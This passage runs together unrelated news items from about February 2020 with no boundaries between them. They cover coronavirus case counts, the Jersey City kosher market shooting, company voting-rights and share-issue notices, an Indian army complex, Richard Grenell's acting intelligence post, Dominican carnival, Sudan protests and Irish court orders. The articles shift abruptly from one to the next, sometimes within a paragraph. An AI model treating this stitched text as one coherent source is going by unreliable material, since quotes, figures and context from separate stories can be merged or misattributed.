"this outbreak could go in any direction." Death toll passes 2,200; 75,500 infections in China The outbreak which began in December has already killed more than 2,200 people and infected more than 75,500 in China. More than 1,150 people have also been infected and more than a dozen have died across 27 other countries. On Friday, cases of the deadly virus were reported in a range of countries in the Middle East, including in Israel and Lebanon for the first time, while Iran said four people there had died and 18 been infected in the outbreak. Infections also nearly doubled in South Korea to 204, making it the hardest-hit country outside China. Italian town reports six infections In Europe, meanwhile, a small northern Italian town closed bars, schools and offices for up to five days to try to quell fears over six cases of the virus. Tedros stressed that the number of cases outside of China still remained "relatively small". But he voiced concern "about the number of cases with no clear epidemiological link, such as travel history to or contact with a confirmed case," urging countries worldwide to be "very, very serious" about preventing the spread of the virus. Newly-released bodycam footage shows a police officer ducking down to avoid friendly fire as he engages in a gun fight with two attackers who killed three people at a Jersey City kosher grocery store last year. The clip, which was obtained by the Associated Press on Thursday with another six videos through the state's open records law, spans roughly three hours from the December 10 incident. The shooters, identified David Anderson and Francine Graham had just killed a police officer at a nearby cemetery and were now carrying out a second attack. They pulled their white U-Haul van outside of JC Kosher Supermarket on Martin Luther King Boulevard and ran in with guns extended. Police began exchanging gun fire with the pair, including one unidentified officer from the window of Sacred Heart Catholic School across the street. After someone notices him at the window, he squats below the window's ledge so he can't be seen. 'It's a[n] officer!' he yells. He then picks up his walkie-talkie and indicates that he's a police officer, saying: 'That's friendly inside of Sacred Heart. I say again: friendly, blue.' Newly-released bodycam footage showed a Jersey City police officer ducking down to avoid being hit by friendly fire during a gun battle with two attackers that killed three people in the market on December 10, 2019 First he yells 'It's a[n] officer!' before speaking into his walkie-talkie: 'That's friendly inside of Sacred Heart. I say again: friendly, blue' The officer was behind one of the windows Sacred Heart Catholic School across the street when he ducked down to avoid being hit by friendly fire Authorities identified the attackers as David Anderson, 47 (left), and Francine Graham, 50 (right). The two were allegedly fueled by a hatred of Jewish people and law enforcement In another of the obtained clips, the officer is seen reloading his weapon as numerous volleys of gunfire are heard. 'I think he's down. No, he's still moving,' the unidentified officer is heard saying. The officer moves past rows of small desks from one classroom, past lockers and into another before he shoots out of the window, which had been decorated with a paper cutout of an angel. Schools in Jersey City had been locked down that day. Anderson, 47, and Graham, 50, fatally shot Detective Joseph Seals at a cemetery before they drove to the kosher supermarket. Authorities say Seals was at the cemetery to meet a man to talk about returning an impounded vehicle. While waiting, Seals confronted the pair after he saw their van and believed it was connected to a recent killing in nearby Bayonne. In additional bodycam footage, a police officer tries to draw out the two attackers from the grocery store In the clip, the officer is seen reloading his weapon as numerous volleys of gunfire are heard At the market, the couple killed co-owner Mindel Ferencz, 33; employee Douglas Miguel Rodriguez; and Moshe Deutsch, 24, a rabbinical student from Brooklyn who was shopping. According to authorities, Rodriguez held open the back door of the store for a customer to escape before he was killed. Eventually, the SWAT team used its vehicle as a battering ram and slammed hard into the grocery store. Inside, they found the bodies of the three victims as well as the bodies of Anderson and Graham, who had been killed in the lengthy gun battle. In their couple's U-Haul van was a pipe bomb and a note that read: 'I do this because my creator makes me do this and I hate who he hates,' reported the New York Post. The two were allegedly fueled by a hatred of Jewish people and law enforcement Passerbys are seen fleeing as Anderson and Graham (in back) emerge from their van and enter the grocery store Among those killed at the kosher market were Moshe Hirsch Deutsch (left), 24, a rabbinical student from Brooklyn and the market's co-owner Leah Mindel Ferencz, 33 (right) Prior the grovery shooting, the pair killed Detective Joseph Seals ( far right), a married father of five, who joined the Jersey City Police Department in 2006 after serving with the military and other law enforcement agencies Members of the Chesed Shel Emes, a Jewish organization which helps families through grief, were on the scene on the night of December 10 to gather the blood of the victims Two of the videos show the moment one of the shooters exited the van which Anderson drove to the store. Authorities said Anderson carrying an AR-15 style weapon, while Graham carried a 12-gauge shotgun into the shop. The video shows passersby scattering away from the shop as the couple enters. Police arrived at the market less than two minutes after the shooters exited the van. Another clip shows a police vehicle smashing into the store front nearly three hours after Anderson and Graham arrived. Police also shared 25 911 calls made in the minutes after the shooting. State and federal law enforcement officials said Anderson and Graham expressed hatred of Jews and law enforcement in notes left at the grocery shooting scene and in online posts. Police officers arrived at the scene of the active shooting at the market on December 10 Bullets pierced windows in the Sacred Heart School across the street from the kosher supermarket Members of Chesed Shel Emes, a Jewish organization which helps families through grief, were on the scene the following day Five weapons and hundreds of rounds of ammunition were found in the store after the attackers were killed. Investigators also found a bomb in the couple's van that could have sprayed shrapnel fragments. The van also contained materials that could have made a second bomb. Investigators found among Anderson's social media posts a reference to Jews as 'imposters who inhabited synagogues of Satan.' Anderson received about $560 per month as a military veteran and may have sold property and a van to make money, officials said. However, officials have found no evidence he received outside assistance to purchase weapons or bomb-making materials. Anderson and Graham had searched other Jewish locations to carry out their attack, but it's unclear why they chose the grocery store. EP Global Opportunities Trust plc (the "Company") Total Voting Rights As a result of the purchase of 25,000 Ordinary 1p shares placed into Treasury on 20 February 2020 and in conformity with Disclosure Guidance and Transparency Rule 5.6.1A, the issued share capital and voting rights of the Company are as follows: Class of share Total number of shares in circulation Number of voting rights attached to each share Total number of voting rights of shares in circulation Number of shares held in treasury (carrying no voting rights attached until issued) Total number of shares in issue Ordinary 1p Shares 40,562,725 1 40,562,725 23,946,917 64,509,642 The above total voting rights figure may be used by shareholders as the denominator for the calculations by which they will determine whether they are required to notify their interest in EP Global Opportunities Trust plc under the FCA's Disclosure Guidance and Transparency Rules. 21 February 2020 LEI: 2138005T5CT5ITZ7ZX58 Enquiries: Kenneth Greig Edinburgh Partners AIFM Limited Tel: 0131 270 3800 The Company's registered office address is: 27-31 Melville Street Edinburgh EH3 7JF Defence minister Rajnath Singh, who laid the foundation of the Thal Sena Bhawan on Friday, said that the new complex would play a significant role in saving valuable resources and contribute to administrative efficiency, such as bringing army offices, scattered across eight pockets in the national capital, under one roof. The Thal Sena Bhawan will come up near the armys sprawling Manekshaw Centre in Delhi Cantonment. Spread over 39 acres, the multi-storeyed complex, which will have a constructed area of 7.5 lakh square metre, will house 6,014 offices and is expected to be built by 2024-25. The army, which is the biggest among the three services, has been demanding a new complex for several years to accommodate its several wings scattered across the city such as the South Block, Sena Bhawan, RK Puram, the Hutments Area around Central Vista and Shankar Vihar. The prominent offices that will shift to the new complex include the Engineer-in-Chiefs office, Territorial Army, recruitment branch, some offices of Headquarters Integrated Defence Staff, Army Welfare Housing Organisation, medical branch, National Cadet Corps, Remount and Veterinary Corps and the Ex-servicemen Contributory Health Scheme, two army officials said. A defence ministry release quoted Singh as saying that the complex will serve as a source of inspiration that will remind the people of the country about the sacrifices made by our soldiers. The minister credited the armed forces personnel for making an invaluable contribution towards nation building, emphasising that India has emerged as one of the most powerful nations because of the sacrifices made by the soldiers. Addressing the soldiers, he underlined the importance of greater jointness and integration among the three services, adding that the appointment of Chief of Defence Staff and creation of Department of Military Affairs were important steps in that direction. The release cited that the complex has been conceptualised as a multi-storeyed green building, adopting Green Rating for Integrated Habitat Assessment (GRIHA) norms. It will be an oval shaped complex, with eight wings branching out in a radial format. Each of the eight wings of the complex to be separated by green spaces will have seven floors. This new headquarters will be dedicated to the courage and valour of those unsung heroes of the armed forces who have sacrificed their lives for the nation, Singh tweeted To be sure, the Sena Bhawan, which is located near South Block, and houses several key offices of the army, will continue to function from its current premises. The new complex will help decongest the crowded Sena Bhawan. The army chief and several other senior officers, who have their offices in the South Block, will continue to work from there until the defence ministry moves out to a new location under the Central Vista redevelopment plan. In that sense, the new complex isnt really the armys headquarters. The Thal Sena Bhawan is coming up at a time when the government has approved the Central Vista redevelopment plan that includes a slew of changes to existing structures, with a new Parliament building and a common secretariat for all central government offices among its most prominent new features. According to the plan, the North and South Block office complexes will be turned into national museums. The central government ministries, including those in the North and South Block, will be shifted to a common secretariat. This month's corporate results delivered investors their first real coronavirus test, but it wasn't enough to derail the sentiment that the financial health of our companies has held up better than most expected despite bushfires, floods and a potential global pandemic. "There was a lot of nervousness going into this reporting season, the markets had rallied so much in the last six months," said AMP Capital's chief economist Shane Oliver. "But the results havent been as bad as feared, so the market's been prepared to look through the negative that might come from the coronavirus." Fears mounted earlier this month when pills and potions maker Blackmores issued a profit warning and scrapped its dividend due to the outbreak's impact. How bad could it get for Australia's companies with their dependence on the nation's biggest trading partner? Coronavirus fears continued to weigh on the market this week but it did not faze investors who sent the market to record highs. Credit:AP "By far the overriding theme of the reporting season is how companies are dealing with the coronavirus and that looks to be weighing on commodity company earnings expectations, but not to a massive extent, said Hasan Tevfik, an investment strategist with MST Marquee. WASHINGTONPresident Donald Trumps new acting director of intelligence may hold the job for only about three weeks unless the White House quickly finds a permanent nominee to offer to the Senate for confirmation. The president tapped Richard Grenell, the U.S. ambassador to Germany, on Wednesday to add the role overseeing the nations 17 spy agencies to his existing duties. Grenell agreed to hold the post for only a limited period of time, according to people familiar with his plan. Federal law gives the president a great deal of flexibility to appoint whomever he chooses to the position on a temporary basis while his official nominee for the job awaits confirmation from the Senate. Under the Federal Vacancies Reform Act, Grenell can serve in his post only until March 11 unless the president formally nominates someone else for the job. That move would allow Grenell to serve for months longer as the nomination works its way through the Senate. Two administration officials said that officials were aware that they must nominate someone else soon, and that the process to find a formal nominee was underway. The President will announce the Nominee (not me) sometime soon, Grenell wrote on Twitter on Thursday morning. It was the latest instance of complicated manoeuvring by the White House to place people the president favours in specific positions. Grenell, a Trump loyalist, has little experience in intelligence or in running a large bureaucracy, and would be likely to face resistance in the Senate if he were nominated permanently for the post. Notably, the chairman of the Senate Intelligence Committee, Richard Burr, R-N.C., has not issued a statement praising Grenell. It was not clear whom Trump would nominate, and indeed he might choose someone with little chance at drawing Senate approval to keep Grenell in the position as long as he can. Even if the Senate rejected a new nominee, it would effectively reset the clock on Grenells tenure, said Eric Columbus, a former Obama administration Justice Department official. The Federal Vacancies Reform Act is coming into play constantly in this administration and allows the president a great deal of leeway in appointing acting officials, Columbus said. Stephen I. Vladeck, a law professor at the University of Texas at Austin, agreed, saying an acting appointee could follow someone else who was acting so long as there was a new nominee who had been sent to the Senate. Without that, he said, it doesnt extend the clock on how long the temporary appointee can serve. Grenell replaces Joseph Maguire, who was also an acting director of intelligence and may have had to give up the position by March 11, according to federal law. The Justice Departments Office of Legal Counsel reviewed the vacancies act and how it applied to the Office of the Director of National Intelligence last year, when the president appointed Maguire. The clocks are very generous, Columbus said. They were intended for good-faith uses, and it may very well be they are acting in good faith, and they intend to nominate someone who can be confirmed, and they arent going to nominate Jeanine Pirro, the Fox News host. But Columbus argued that Maguire did not need to be replaced to reset the clock on an acting director. There was no legal impediment to keeping Maguire and just making a permanent nomination, he said. That he is getting rid of Maguire now suggests he is maybe dissatisfied with what Maguire did in regards to the Ukraine whistleblower. Even before his new appointment Wednesday, Grenell had been working with the White House on issues related to intelligence, including pressuring Germany and other allies not to use the Chinese telecom company Huawei to build the next-generation mobile network known as 5G over security concerns. He is not giving up his ambassadorship to Germany or a broader diplomatic portfolio that involves developing a rail path between Kosovo and Serbia. Grenell has spoken to people about the need to have the Office of the Director of National Intelligence function as an entity that is not in competition with the various intelligence branches, according to a person familiar with the discussions. Before Grenells appointment became public Wednesday, the decision was kept under wraps within the White House, with only a few people aware of it ahead of time. Read more about: Education Trends STEM Trends for 2020 Target Diversity, Rural Teachers and PD A nonprofit pursuing the goal of helping prepare 100,000 teachers to teach STEM subjects in American classrooms by 2021 recently issued a report on 10 trends for 2020, placing diversity challenges at the top of the list. 100Kin10, which links academic institutions, nonprofits, foundations, companies and government agencies to address the nations STEM teacher shortage, said that to draw under-represented minorities into the science, technology, engineering and math fields would require recruiting and supporting more teachers of color. Currently, the report noted, while half of students are people of color, less than 20 percent of teachers are. Among the movements forward is a project undertaken by California's Trellis Education and a bunch of institutional and nonprofit partners, to examine what holds teachers of color back from succeeding and creating a toolkit to be used by schools to support "culturally responsive changes in their environments." Another trend: the integration of more professional development for teachers into the school schedule. Among the ideas being tested around the country are early student release days, collaborations during student lunch and the use of a year-round calendar that provides a three-week break period for teacher PD and vacation. A project led by STEMteachersNYC and the University of North Carolina System will develop a resource documenting "innovative scheduling options for job-embedded professional learning." Support for STEM teachers in rural areas is also an area of attention. According to 100Kin10, several projects are underway to address the needs of these educators. One is the National Math and Science Initiative, which has helped to develop a state-wide network in North Dakota "to connect geographically and economically isolated communities, including reservation schools" and bringing advanced placement courses in STEM subjects to students. The complete trends report is openly available on the 100Kin10 website. Donning hairnets and face masks in the middle school gym on Friday morning, the Veritas Christian Academy students looked more like pint-sized cafeteria workers instead of classmates. But they wore the protective layers for a good reason. Together, the students were assembling 10,000 meal packets to feed orphans in Haiti. Each food packet contains rice, dehydrated vegetables, soy protein and a vitamin powder. Once water is added, each packet can feed up to six people, said school organizers. This fundraiser matches the mission of our school: to equip our students to serve, said Katie Perez, administrative assistant to the superintendent at Veritas Christian Academy. This is how we love others, by serving, she said. The program, called Feed The Need through The Champion Group, was launched as a school-wide fundraiser. Each Veritas student was encouraged to ask sponsors to donate towards the purchase of the food staples and help pay for the shipping to the Caribbean nation. Haiti is known as a Third World country and has a high rate of poverty. On Friday morning, seventh grader Jordan Washington helped scoop rice at an assembly station. We have food here in Napa and our homes, said Washington. But, Theres a whole bunch of people in Haiti that need these meals, he said. Seventh grader Miranda Grigsby worked at another station scooping dehydrated protein into a funnel for packaging. She chose to participate in the fundraiser because I want to help. Those orphans dont have what we have, she said. Its good to help, said seventh grader Hannah Kaczmarczyk. It makes you sad to think of the orphans, she said. You just want to help them. I feel happy to be working on the fundraiser, said Jacob Darlington, a third grader. Would he enjoy the meal he was preparing? Maybe not the rice, he said. But I would eat the rest of it. Were helping other people because God wants us to, said James Taber, a third grader. What if the rice and protein mix was his own dinner? Itd be OK if it was cooked, he said. School parent Leslie Larsen helped the kids assemble the packets. Its heartwarming that were sending so many meals to those in need, said Larsen. Look what these kids can do. Besides the food packets, other Veritas students decorated the cardboard shipping boxes and made cards to include with the packets. The school hopes to get photos of the orphans who actually receive the food, said Perez. For a first-time fundraiser, Perez said the program has been a success. It feels really good to be able to provide so many meals. Besides that, the students are learning about the people in Haiti and how they can help those in need, said the schools administrative assistant. Veritas Christian Academy has two campuses in Napa an elementary school at 2659 First St. and a middle school at 3765 Solano Ave. The school has 116 students, from kindergarten to eighth grades, said Perez. You can reach reporter Jennifer Huffman at 256-2218 or jhuffman@napanews.com Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Carnival, or Carnaval as it is called in Spanish, takes place every year close to the beginning of Lent. The date of Carnival is variable but traditionally it starts on 'jueves lardero' (sometimes 'jueves gordo': fat Thursday) and finishes on the following Tuesday. Although Carnival probably arose from a pagan festival, it is celebrated throughout the world in mainly Catholic cultures. In Spain it is a very popular event with gaudy and ostentatious processions, satirical songs, drag queens and flower battles, but ends with the solemn burning or burying of a giant anchovy, sardine, gecko (and even a mollete in Antequera). Malaga city In Malaga city the satirical songs competitions (songs that poke fun at prominent members of society) have been taking place since January and performances will be held in the Plaza de la Merced and around the city centre between 21 February and 1 March. The main events include a Drag Queen Gala in the Plaza de la Constitucion (22 February, 9pm); The main Carnival procession is on Sunday, 23 February which will leave the Plaza de Fray Alonso de Santo Tomas at 5.30pm and end at the Plaza de la Merced. On 28 February is the Procession of the Gods starting at midday in the Plaza de la Constitucion. It will repeat the route on the following day but at 6pm. Also on 29 February, the famous Battle of the Flowers with brightly coloured confetti and streamers takes place at 8pm. The Procession of the Gods is repeated on 1 March at midday followed at 2pm by the gran boquerona where fried anchovies will be offered to everyone. The burying of the anchovy takes place with a procession at 5pm starting from the Marques de Larios statue. Marbella The Pasacalles del Humor takes place at noon on 22 February from the Plaza Santo Cristo and is followed by a childrens fancy dress competition. On the 28 February are performances by the traditional Carnival bands from 1pm. On Sunday is a mussel tasting event, free for all carnival goers. Comparsas and Murgas bands compete from 4-6 March from 9.30pm and on the last day, 7 March is the Desfile de Humor parade from 5.30pm. Estepona Held in the Parque El Calvario on 22 February unless it rains, in which case the event will be moved to the Centro Cultural Padre Manuel. The burying of the sardine takes place at around 5.30pm. Benalmadena The Carnival festival in Benalmadena has two big processions, the first is on 22 February starting at 5.30pm and will pass through the streets of Benalmadena Pueblo. It is followed by the Gran Baile de Carnaval (The Carnaval Ball) and competition for best fancy dress. The second procession starts on 29 February and will be held in Arroyo de la Miel from 5.30pm. This too is followed by a dance and fancy dress competition. Throughout the town there will be Comparsas and Murgas groups playing. On the 1 March, at noon, leaving from the Plaza de la Mezquita, there is a procession carrying the largartija (gecko) which is then burnt on the Santa Ana beach. La Herradura / Almunecar The main procession takes place on Saturday 22 February. The following day there is a pet fancy dress competition and the burying of the sardine. Torremolinos celebrates Carnival much later, this year it will be held on 14 and 15 March. More information and programmes of events in other towns and villages can be found on town hall websites and Facebook. The deadly coronavirus, which has brought the world's second largest economy to a standstill, has not yet peaked, Chinese President Xi Jinping warned the ruling Communist party officials on Friday amidst its spread to prisons across the country as the death toll climbed to over 2,200. The death toll has gone up to 2,236 while the overall confirmed infection cases have climbed to 75,567, the country's health officials said amidst mounting concern over its spread to prisons in different provinces. The coronavirus epidemic had not reached its peak despite a drop in the daily number of infections, state broadcaster CCTV quoted Xi as saying at a meeting of the Communist party's Politburo on Friday. He said that the situation in Hubei, the worst-hit province, was still serious. "The battles to defend Hubei province and Wuhan should be well fought, and measures should be taken to contain the spread of the outbreak," Xi said, Hong Kong-based South China Morning Post reported. The peaking of the virus is keenly awaited in China as it also means that the disease will then begin to abate. A noted Chinese health expert, Zhong Nanshan, said early this month that the virus may reach its peak in the next 10 to 14 days, contrary to earlier estimates of climaxing sooner. This means that the cases would drastically increase in the later part of February. Much to the horror of health officials, the disease now has spread to five Chinese prisons where 447 cases of the virus have been reported. The virus has speared to prisons in the provinces of Hubei, Shandong and Zhejiang, He Ping, an official in-charge of the Bureau of Prison Administration of the Ministry of Justice, told media here. This led to a sacking spree of officials in nearly a dozen prisons and the justice department, state-run Global Times reported. The infections in prisons, experts say, revealed the blind zones in the national campaign against the epidemic. He pledged all-out efforts to quarantine suspected cases and their close contacts and timely treatment for all of those confirmed of the virus. Prisons across the country were also ordered to step-up monitoring track records of all prison guards and officers to prevent the spread of the virus into prison premises, He added. After the prison cases, Hubei province, the centre of the novel coronavirus outbreak, revised its figures reporting 631 new confirmed cases and 115 new deaths. The local health commission revised up the number of confirmed cases by 220. After the revision, the total confirmed cases in Hubei has reached 62,662. Wuhan, the provincial capital, recorded a total of 45,346 confirmed cases. Meanwhile, Beijing saw a sudden spike in the cases after the central city hospital reported 36 novel coronavirus infections as of Thursday, a sharp increase from nine cases two weeks earlier, leading many to fear a potential explosion of infection numbers in the capital, the Global Times reported. Among the infected at Fuxing Hospital in Xicheng district were eight medical workers, nine cleaning staff and 19 patients along with their families, the report said. "Considering 36 confirmed cases were found in Fuxing Hospital, it is more about one case of multiple infections rather than an epidemic of the whole area," Wang Guangfa, director of the department of respiratory and critical care medicine at Peking University First Hospital, said. Beijing has so far reported 396 cases of novel coronavirus infection, with four deaths. Meanwhile, China has postponed the Boao Forum for Asia, its most prestigious annul meeting held in the picturesque Hainan province where it would invite top world leaders to discuss economy, trade and related issues. The forum was expected to take place from March 24-27. China hinted at postponing the annual parliament session to be held in the first week of March. Plans are also afoot to postpone the National People's Congress -- the country's parliament -- and Chinese People's Political Consultative Conference (CPPCC) -- China's top political advisory body, official media reported. China is the world's second largest economy after the US. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Revelers fancy dressed as devils perform during a carnival parade in Santo Domingo on March 4, 2012. AFP PHOTO / ERIKA SANTELICES (Photo credit should read ERIKA SANTELICES/AFP via Getty Images) When people hear "carnaval" they think of Rio de Janeiro, Italy, even Mardi Gras. To me, as a Dominican, it means a celebration with the most colorful costumes, traditional music, and Dominican pride. It is as if - for a moment - everyone forgets about all the bad things going on in the country and focuses on celebrating our core essence, while recharging to continue our fight for a better country. Carnaval is a four-day period when people let go of their inhibitions and take part in many practices you'd forgo during lent - which begins the day after carnival is over - including excessive consumption of alcohol, meat, and other foods, as well as expressions of social satire, mockery of authority, depictions of degrading acts, and a general reversal of everyday rules. In Dominican Republic it's also tied up to celebrating our independence and lasts a whole month. Related: Why Do We Celebrate Carnaval? It is believed that Dominican Republic was the first colony of the Americas to actually celebrate carnaval. There's evidence that the celebrations go as far back as 1510, when the Spanish colonizers would "let" their slaves have a celebration once a year so that they could get the "wild" out of their systems. Because they considered this to be a pagan celebration, the Spaniards started mixing their Christian traditions, until it eventually shifted to what carnaval is known for: a way to escape rigid religious traditions before beginning the Lenten period. However, on February 27, 1844, Dominican Republic declared its independence, so the timing of carnaval in the DR grew apart from its original religious synchronization with lent and became a celebration held every weekend of February, ending the first weekend of March. Among the main characteristics are parades that include Dominican folklore personalities and comparsas (a group of musicians and dancers) in varying costumes with messages that range from the comical to the political. The main character of the Dominican carnaval is the Diablo Cojuelo or limping devil. Story continues Revelers parade along the Malecon avenue in Santo Domingo during Carnival celebrations on March 4, 2018. / AFP PHOTO / Erika SANTELICES (Photo credit should read ERIKA SANTELICES/AFP via Getty Images) Legend goes that this devil was so mischievous that it was banished and pushed down to Earth so hard that it got injured and left with a limp. The diablos are the main character of our carnaval, particularly of the province of La Vega. You'll recognize them because of the exaggerated mask features with protruding eyes and teeth, and because they wear a shiny cloak covered with bells, mirrors, and ribbons - all meant as a mockery of the Spanish medieval knights. Some of these diablos carry a whip, meant to scare away the crowds, and other diablos will carry a vejiga, made of a cow's dried, inflated bladder, cured with lemon, ashes, and salt. If you see one of these, you better run for your life, because the diablos will follow you and hit you so hard you might be bruised for weeks. Revelers fancy dressed as devils perform during a carnival parade in Santo Domingo on March 4, 2012. AFP PHOTO / ERIKA SANTELICES (Photo credit should read ERIKA SANTELICES/AFP via Getty Images) In Santiago, the Lechones (piglets) take the spotlight, and they're equally colorful "devils" that aren't as scary in their looks. They have tall horns and a curved, long snout. There are different lechones groups with subtle differences that denote the neighborhoods they're representing. They're also known for carrying whips and vejigas, and move by swinging their legs from side to side and lunging forward. The Taimascaros are the popular devils of Puerto Plata, and they represent the Tainos, which were the first natives of the island, the Africans, and Europeans. Their masks in particular reflect the face of a Taino god or deity, while the costumes incorporate the other influences. Meanwhile, the Guloyas in San Pedro de Macoris are the biggest representatives of Dominican Republic's African heritage. They are dancers that are part of the Cocolo community, the descendants of the enslaved Africans who were brought to the island in the late 19th century to work in the sugar industry. The Guloyas wear beaded costumes with feathery hats, and twirl in the streets to the beat of their own drums and Afro-Caribbean moves. UNESCO classified them in 2005 as a masterpiece of the Oral and Intangible Heritage of Humanity. Revelers perform during a carnival parade in Santo Domingo on March 4, 2012. AFP PHOTO / ERIKA SANTELICES (Photo credit should read ERIKA SANTELICES/AFP via Getty Images) In Barahona, Los Pintaos (the painted ones) represent the cimarrones (Maroons) who rebelled against Spanish colonialism and slavery, and took refuge in the mountains. Their bodies are covered in paint and a piece of cloth covers their private parts. Other staples in the Dominican carnaval include the Tiznaos, whose faces and bodies are painted black with coal and burned car oil and represent the enslaved Africans; the Brujos from San Juan de la Maguana, who represent the witches that once lived - and might still live - in that province. A reveler takes part in a parade along the Malecon avenue in Santo Domingo during carnival celebrations on March 3, 2019. (Photo by Erika SANTELICES / AFP) (Photo credit should read ERIKA SANTELICES/AFP via Getty Images) Se Me Muere Rebeca ("Rebeca is dying on me") who is a desperate mother carrying her dying daughter through the different colmados and stores asking for candy that she later hands to the kids attending the parade; the Roba la Gallina (the hen robber) who is usually a man dressed as a woman with exaggerated assets, who parades the streets with an open parasol, stopping at the colmados and begging for her pollitos (chicks), who are the kids in the area. Carnaval in Dominican Republic is a display of traditions, colors, and history that you can enjoy through the different celebrations throughout the country's provinces, and will give you an idea of not only our background, but also how fun and creative Dominicans are. Sudanese police fired teargas on Thursday at hundreds of protesters in Khartoum calling for the reinstatement of soldiers who were forced into retirement after they voiced support for last year's revolution, an AFP reporter said. "Hundreds of youths in Khartoum demonstrated near the presidential palace carrying Sudanese flags and signs saying 'The army is Sudan's army' and 'Don't dismiss the army's free men'," an AFP correspondent said. Protesters also burned tyres and blocked roads, but police arrived and fired tear gas to disperse them, the correspondent said. Earlier this week, the military published a list of officers of various ranks who had been forced into retirement. Army spokesman Brigadier Amer Muhammad Al-Hassan, quoted by state news agency SUNA, said the list was issued "as usual at the beginning of each new year". But activists launched a social media campaign backing sidelined lieutenant Mohammad al-Sadiq, who had voiced support for their campaign from its beginning in December 2018 over the soaring prices of bread. The Sudanese Professionals Association, the umbrella group which led nationwide street protests against Bashir, organised Thursday's protest. Bashir's ouster in April 2019 led to months of talks that eventually produced a transitional government comprised of civilian and military officials. Bashir's toppling after 30 years in power triggered unrest that left dozens dead, hundreds wounded and thousands jailed. The Courts Service has obtained interim High Court orders against Google Ireland and Facebook Ireland aimed at discovering the identity of those responsible for certain social media postings, including video recordings of court hearings concerning an elderly woman who is a ward of court. High Court president Mr Justice Peter Kelly noted today the defendants had said they could not consent to the orders but neither had they objected. He was satisfied to make orders requiring the defendants to give the Courts Service, within 14 days, any subscriber information in their possession or control which might assist in identifying the posters with a view to considering possible action against them. He was satisfied the conditions for those orders were triggered because the defendants had unwittingly become involved in the placing on sites of material which it was not lawful to have placed there. He was not criticising them about that and noted they operate under a regime governed by European regulations on hosting. He continued to early March, with liberty to apply other interim orders, made earlier this week, which required the defendants to remove the material at issue. Both defendants have complied with those orders and the material has been removed but there are concerns other material may be posted, he noted. He was told today by Rossa Fanning SC, for Facebook Ireland and Michael Howard SC, for Google Ireland, there are ongoing discussions with the Courts Service, represented by Donogh Hardiman BL, aimed at agreeing a voluntary protocol to address any future need for removal of material which is unlawful or in breach of court orders. Mr Howard asked that the matter be put back to facilitate agreeing that protocol but the judge said he would make the orders in the interim to ensure protection of the rights, including to privacy, of the elderly woman. He noted court orders had consistently been made in wardship proceedings concerning the woman which prevented publication of any material which would or might identify her. The woman's son, the judge said, has made numerous applications and appeals arising from his mother, aged in her nineties with a number of health conditions, being take into wardship and placed in a hospital and a nursing home. The son had also given an undertaking to the court in May 2017 not to publish material about his mother after it was alleged he was in contempt of court arising from the posting of material on social media, including a video of him shouting at her in the nursing home. In its proceedings, the Courts Service has claimed the recent posts and videos breach court rules preventing any recording of court proceedings as well as orders preventing identification of the woman as a ward. The videos objected to include one of the son addressing Mr Justice Kelly in court earlier this month in terms which lead to the judge leaving the bench after directing gardai to remove the son for persistent interruption of the courts work during that and earlier hearings. The judge directed the son, who alleged, among a range of claims, there is a constitutional crisis in the State and that no courts have sat with appropriate jurisdiction since 1924, be detained in Dublins Bridewell garda station until the hearing concerning his mother had concluded. A video of the son being interviewed by another man outside the Bridewell later that day was among the material objected to. Regulatory News: In accordance with its ambitious policy in favor of Employee Shareholding, TOTAL S.A. (the "Company") (Paris:FP) (LSE:TTA) (NYSE:TOT) is implementing its annual capital increase reserved for employees and former employees of the TOTAL group (the "Group"). Through this operation, TOTAL S.A. intends to continue involving its employees in the Group's business and growth. Employee shareholders, within the meaning of Article L. 225-102 of the French Commercial Code, held 5.30% of the Company's share capital as of December 31, 2019. The eighteen resolution of the Shareholders' Meeting of June 1, 2018 granted the Company's Board of Directors (the "Board") the authority to decide, within a maximum period of 26 months, to carry out one or more capital increases of ordinary shares without preferential subscription rights, not to exceed 1.5% of the Company's share capital at the date of the Board meeting resolving on the operation and reserved to members of a savings plan pursuant to the provisions of Articles L. 225-129 and seq., and L. 225-138-1 of the French Commercial Code and Articles L. 3332-1 to L. 3332-9 and L. 3332-18 to L. 3332-24 of the French Labor Code. The Board, pursuant to the above-mentioned authorization, decided during its meeting on September 18, 2019 to carry out, in 2020, a new share capital increase reserved for employees and former employees of the Group pursuant to the following conditions: Maximum number of shares offered and total amount of the offer: 18 million shares with a nominal value of 2.50 each, representing a total nominal amount of 45 million, which is the equivalent of 0.67% of the Company's share capital as of the date of the Board's decision. Description of the newly-issued shares:same category as existing shares with immediate dividend rights. The rights attached to the newly-issued shares are the same than the rights attached to the existing shares of the Company, and are described in the Articles of Association of TOTAL S.A. Listing of the newly-issued shares on Euronext Paris:on the same line as existing shares (ISIN code FR0000120271), from their issuance. American Depositary Receipts corresponding to the newly-issued shares may also be listed on the New York Stock Exchange. Share subscription price:average of the closing prices of the TOTAL shares on Euronext Paris over the 20 trading sessions preceding the date of the Chairman and CEO's decision setting the opening date for the subscription period ("Reference Price"), reduced by a 20% discount and rounded off to the highest tenth of a euro. Indicative timeline (subject to the Chairman and CEO's decision): Determination of the subscription price: April 29, 2020; - Subscription period: from May 6, 2020 to May 18, 2020 (included). Please refer to the appendix to this press release for further information on this operation. About Total Total is a major energy player, which produces and markets fuels, natural gas and low-carbon electricity. Our 100,000 employees are committed to better energy that is safer, more affordable, cleaner and accessible to as many people as possible. Active in more than 130 countries, our ambition is to become the responsible energy major. Notice The program, reserved to eligible employees and retirees of the Group, will be implemented in France as well as in certain foreign countries, including the United States, where the Total shares offered in the United States will be registered with the Securities and Exchange Commission (SEC). Shares and FCPE units offered outside the United States will not be registered with the SEC. In particular, the units of the below-mentioned FCPEs cannot be offered or sold in the United States directly or indirectly (or in its territories or possessions), or for the benefit of a "U.S. Person", as defined in American regulations. Persons wishing to subscribe to units in these FCPEs, will have to certify, when subscribing, that they are not "U.S. Persons". The definition of "U.S. Person" is available on the FCPE Management Company's website (www.amundi.com). This press release is produced for information purposes only and does not constitute an offer for the sale or the subscription of securities. Moreover, this press release should not be distributed in the countries where the offering is subject to approval of the local authorities. The offer will be issued only in the countries where the local administrative and regulatory procedures have been implemented (in particular the registration procedures, notification, granting of authorizations and/or applicable exemptions and the information or the consultation of the representatives of the employees). This press release represents the document required to qualify for the exemption from the requirement to publish a prospectus as defined in Articles 1 4i) and 5h) of the Regulation (UE) 2017/1129 of June 14, 2017. Appendix to the press release on February 21st, 2020 Issuer: TOTAL S.A. Information 